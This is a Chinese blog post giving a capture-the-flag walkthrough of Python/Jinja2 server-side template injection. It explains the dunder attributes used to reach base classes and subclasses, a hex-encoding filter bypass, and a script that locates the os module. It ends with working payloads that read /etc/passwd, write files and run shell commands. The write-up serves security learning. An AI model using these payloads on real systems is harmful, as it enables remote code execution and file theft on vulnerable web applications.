Python模块注入-SSTI

python模块注入-SSTI

  1. 打开页面(看到python template injection应该是python模块注入)

  1. 测试一下http://111.200.241.244:61392/{{3*4}}

发现成功运行了结果(当然加法,除法都一样,主要判断能不能执行我们的代码语句)

  • 在这里我先介绍一下几种常用于SSTI的魔术方法
__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
 
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用
__builtins__ builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块
  • 获取基类的几种方法

    [].__class__.__base__
    ''.__class__.__mro__[2]
    ().__class__.__base__
    {}.__class__.__base__
    request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用
    或者
    [].__class__.__bases__[0]       //其他的类似
    
    **注意:如果._'这些被过滤了,可以用16进制编码绕过!!!**
    例如:{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}}
    特别注意用16进制编码之后里面要加"
    
  • 获取基本类的子类

    [].__class__.__base__.__subclasses__()
    
  1. 我们尝试获取基类(发现一个为 ‘object’ 的类)

  1. 我们尝试基类的子类

SSTI的主要目的就是从这么多子类中找出可以利用的类(一般是指读写文件的类)加以利用

那么我们能利用的类有哪些呢?

我们可以利用的方法有<type 'file'>等,(一般file在第40号)

  1. 我们尝试读取/etc/passwd文件

    {{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
    

上面的例子看到我们用 file 读取了/etc/passwd ,但是如果想要读取目录怎么办

那么我们可以寻找万能的os模块(这里可以写脚本遍历寻找,也可以自己慢慢数,一般大概71号,或者可以Ctrl+F在网页搜索 '<' ,因为是从0开始,所以大概第72个就是)

#!/usr/bin/env python
# encoding: utf-8

num = 0

for item in ''.__class__.__mro__[2].__subclasses__():
    try:
         if 'os' in item.__init__.__globals__:
             print num,item
         num+=1
    except:
        print '-'
        num+=1	
        
//这是脚本

找到这个对应的编号就对了

  1. 然后我们直接调用就好,可以调用system函数,有了shell其他问题就解决了

    ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

    当然,在某些情况下system函数会被过滤,这时候也可以采用os模块的 listdir 函数来读取目录。(可以配合file来实现文件读取)

    ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.') #读取本级目录

    另外在某些不得以的情况下可以使用以下方式来读取文件。(目前没见过这种情况)

    方法一:

    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #把 read() 改为 write() 就是写文件

    方法二:

    存在的子模块可以通过.index()方式来查询

    >>>''.__class__.__mro__[2].__subclasses__().index(file)
    40       //查询结果40
    

    用file模块来查询

    >>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
    
  • 以下是非常常用的payload:

    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read()
    
    
    ''.__class__.__mro__[2].__subclasses__()       [71].__init__.__globals__['os'].system('ls')
    
    
    ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
    

文章引用:

https://www.cnblogs.com/wjw-zm/p/12741047.html


posted @ 2021-07-27 13:14  胖三斤1  阅读(351)  评论(0编辑  收藏  举报
Live2D